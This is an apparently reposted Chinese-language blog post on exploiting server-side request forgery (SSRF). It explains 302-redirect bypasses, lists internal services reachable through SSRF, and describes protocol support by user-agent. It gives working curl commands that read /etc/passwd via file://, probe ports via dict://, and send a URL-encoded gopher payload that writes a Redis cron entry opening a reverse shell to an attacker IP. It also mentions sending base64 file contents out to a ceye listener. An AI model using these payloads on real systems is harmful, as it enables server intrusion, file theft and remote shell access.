首先说一下302跳转,猪猪侠乌云上提出的,可绕过ssrf一些利用限制

1523505527(1).png

支持http(s)协议的除了可以探测内网web服务,还可以对内网服务发起所有基于Web请求类型漏洞攻击,比如

  1. ShellShock命令执行

  2. JBOSS远程Invoker war命令执行

  3. Java调试接口命令执行

  4. axis2-admin部署Server命令执行

  5. Jenkins Scripts接口命令执行

  6. Confluence SSRF

  7. Struts2命令执行

  8. counchdb WEB API远程命令执行

  9. mongodb SSRF

  10. docker API远程命令执行

  11. php_fpm/fastcgi 命令执行

  12. tomcat命令执行

  13. Elasticsearch引擎Groovy脚本命令执行

  14. WebDav PUT上传任意文件

  15. WebSphere Admin可部署war间接命令执行

  16. Apache Hadoop远程命令执行

  17. zentoPMS远程命令执行

  18. HFS远程命令执行

  19. glassfish任意文件读取

  20. war文件部署间接命令执行

 等等.......


我们可以以不同ua分别说明情况

当接受的请求ua为curl

    微信图片_20180412120954.jpg

时,它支持的协议会有

1523505645(1).png

利用姿势,前辈文章很多,只简单举例

利用file协议读取文件

curl -v 'http://xxx.com/ssrf.php?url=file:///etc/passwd'

利用dict协议查看端口

curl -v 'http://xxx.com/ssrf.php?url=dict://127.0.0.1:22'

利用gopher协议攻击redis反弹shell

curl

-v
‘http://xxx.com/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fyour

ip%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

攻击fastcgi等等

微信图片_20180412121018.jpg

当ua为

1523505964(1).png

实例环境

https://mmbiz.qpic.cn/mmbiz_png/TU8nqXFLmvVnyzz9dZtDTG2zPZr8gaX6krwGyz5LnRj82XLwtBhI3vCH10DIjRlG0ArQD372gTaZKNkc4xE0MA/640?wx_fmt=png&wxfrom=5&wx_lazy=1

一般默认情况支持协议为HTTP[S],支持302跳转

当ua为

1523589926(1).png

实例环境

https://mmbiz.qpic.cn/mmbiz_png/TU8nqXFLmvVnyzz9dZtDTG2zPZr8gaX6w1H9axl9ftu97ZLeNaTeC5ZHpGqEvjevnUZ7J8MvR7kibJXz90yanJw/640?wx_fmt=png&wxfrom=5&wx_lazy=1


一般默认情况支持协议为HTTP[S],file,支持302跳转

微信图片_20180412121203.jpg

当ua为

微信图片_20180412121206.jpg

默认支持HTTP(s),支持302跳转

可能少见 在用phantomjs  直接渲染页面的时候 可以读取本地文件

Poc:

微信图片_20180412121210.jpg

这里用ceye去接受请求,然后base64就是文件内容

微信图片_20180412121213.jpg

当ua为ATS/6.0.0或者Apache Traffic Server/x.x.x ,默认支持http(s),不支持302跳转,可内网探测,可对内网服务发起所有基于Web请求类型漏洞攻击,大厂可能用的多一些。

如有错误,欢迎指正。


参考链接:http://feei.cn/ssrf

源链接

Hacking more

...